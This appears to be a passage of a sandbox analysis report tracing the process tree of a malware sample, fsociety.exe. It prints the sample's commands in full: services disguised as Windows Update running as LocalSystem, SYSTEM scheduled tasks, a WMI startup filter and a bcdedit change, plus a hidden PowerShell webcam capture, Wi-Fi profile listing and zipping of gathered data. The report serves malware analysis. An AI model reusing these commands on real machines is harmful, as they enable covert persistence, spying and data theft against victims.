  cmd.exe /c sc delete SystemUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\system32\sc.exe
    sc delete SystemUpdate
    3⤵
    - Launches sc.exe
    PID:4032
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3192
- - C:\Windows\system32\sc.exe
    sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
    3⤵
    PID:1624
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3012
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate start= system
    3⤵
    PID:4784
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2336
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate obj= LocalSystem
    3⤵
    PID:3028
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start SystemUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\system32\sc.exe
    sc start SystemUpdate
    3⤵
    - Launches sc.exe
    PID:3988
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\system32\sc.exe
    sc stop WinUpdateSvc
    3⤵
    PID:5400
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5388
- - C:\Windows\system32\sc.exe
    sc delete WinUpdateSvc
    3⤵
    PID:5304
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5496
- - C:\Windows\system32\sc.exe
    sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
    3⤵
    - Launches sc.exe
    PID:5552
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc start= auto
    3⤵
    PID:356
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4060
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc obj= LocalSystem
    3⤵
    PID:5660
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start WinUpdateSvc >nul 2>&1
  2⤵
  PID:1724
- - C:\Windows\system32\sc.exe
    sc start WinUpdateSvc
    3⤵
    PID:5784
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:3628
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4512
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:764
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4392
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:4636
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2892
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:2460
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4228
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
  2⤵
  PID:1380
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "WindowsUpdate"
    3⤵
    PID:2708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
  2⤵
  PID:5352
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1444
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5408
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3996
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:4020
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:836
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:1672
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:3428
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1624
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:2516
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:3476
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:5868
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:5436
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:5396
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:1492
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      Launches sc.exe
      PID:5684
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:1576
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:1900
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:5440
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      Launches sc.exe
      PID:3228
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:6124
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:2524
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:3992
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:5800
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5872
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:2468
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:3772
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:1644
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:3564
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:1600
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5428
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:1600
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:1600
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:2052
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:5792
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:5064
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:4984
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:832
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5980
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:4836
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5800
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:5432
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6352
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:7012
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:832
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      Launches sc.exe
      PID:6196
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:6604
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:5908
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:6732
  - - C:\Windows\system32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:6380
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:1444
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7224
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:7892
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7944
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:7952
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:8156
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:6540
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6620
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:6864
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "WindowsUpdate"
      4⤵
      PID:6316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
    3⤵
    PID:1088
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240659781.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240659781.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
  2⤵
  PID:2788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240659781.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240659781.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profile
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:2560
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1016
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240659687\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
  2⤵
  PID:5940
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240659687\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profile
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4100
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2148

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1836
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WindowsUpdate >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\system32\sc.exe
    sc stop WindowsUpdate
    3⤵
    PID:4988
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5288
- - C:\Windows\system32\sc.exe
    sc delete WindowsUpdate
    3⤵
    - Launches sc.exe
    PID:5436
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5456
- - C:\Windows\system32\sc.exe
    sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
    3⤵
    PID:5588
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5572
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate start= boot
    3⤵
    PID:5856
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5520
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate type= own
    3⤵
    PID:2524
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1852
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate obj= LocalSystem
    3⤵
    - Launches sc.exe
    PID:444
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
  2⤵
  PID:4324
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate error= ignore
    3⤵
    PID:5956
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
  2⤵
  PID:2144
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
    3⤵
    - Launches sc.exe
    PID:3268
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
  2⤵
  PID:4540
- - C:\Windows\system32\sc.exe
    sc description WindowsUpdate "Provides Windows system updates"
    3⤵
    PID:4972
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WindowsUpdate >nul 2>&1
  2⤵
  PID:3944
- - C:\Windows\system32\sc.exe
    sc start WindowsUpdate
    3⤵
    PID:5656
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop SystemUpdate >nul 2>&1
  2⤵
  PID:4968
- - C:\Windows\system32\sc.exe
    sc stop SystemUpdate
    3⤵
    PID:5668
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete SystemUpdate >nul 2>&1
  2⤵
  PID:1200
- - C:\Windows\system32\sc.exe
    sc delete SystemUpdate
    3⤵
    PID:2660
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  PID:5796
- - C:\Windows\system32\sc.exe
    sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
    3⤵
    PID:5328
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
  2⤵
  PID:2428
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate start= system
    3⤵
    PID:1396
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:5976
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate obj= LocalSystem
    3⤵
    PID:1408
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start SystemUpdate >nul 2>&1
  2⤵
  PID:6128
- - C:\Windows\system32\sc.exe
    sc start SystemUpdate
    3⤵
    PID:3476
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
  2⤵
  PID:2236
- - C:\Windows\system32\sc.exe
    sc stop WinUpdateSvc
    3⤵
    PID:2720
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
  2⤵
  PID:2420
- - C:\Windows\system32\sc.exe
    sc delete WinUpdateSvc
    3⤵
    PID:5068
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
  2⤵
  PID:5304
- - C:\Windows\system32\sc.exe
    sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
    3⤵
    - Launches sc.exe
    PID:1444
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
  2⤵
  PID:2008
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc start= auto
    3⤵
    PID:4480
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
  2⤵
  PID:5656
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc obj= LocalSystem
    3⤵
    PID:4240
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WinUpdateSvc >nul 2>&1
  2⤵
  PID:840
- - C:\Windows\system32\sc.exe
    sc start WinUpdateSvc
    3⤵
    PID:5844
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:5660
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3700
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:5424
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4544
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:1224
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5432
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:2688
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:428
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
  2⤵
  PID:5232
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "WindowsUpdate"
    3⤵
    PID:3188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
  2⤵
  PID:984
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
    3⤵
    PID:3396
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
  2⤵
  PID:4916
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1788

C:\Windows\system32\fsociety.exe
C:\Windows\system32\fsociety.exe ,explorer.exe
1⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:5096
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WindowsUpdate >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3616
- - C:\Windows\system32\sc.exe
    sc stop WindowsUpdate
    3⤵
    PID:752
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WindowsUpdate >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5284
- - C:\Windows\system32\sc.exe
    sc delete WindowsUpdate
    3⤵
    PID:5232
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5468
- - C:\Windows\system32\sc.exe
    sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
    3⤵
    PID:5528
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5720
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate start= boot
    3⤵
    - Launches sc.exe
    PID:2152
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate type= own
    3⤵
    PID:1548
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:2820
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate obj= LocalSystem
    3⤵
    - Launches sc.exe
    PID:5984
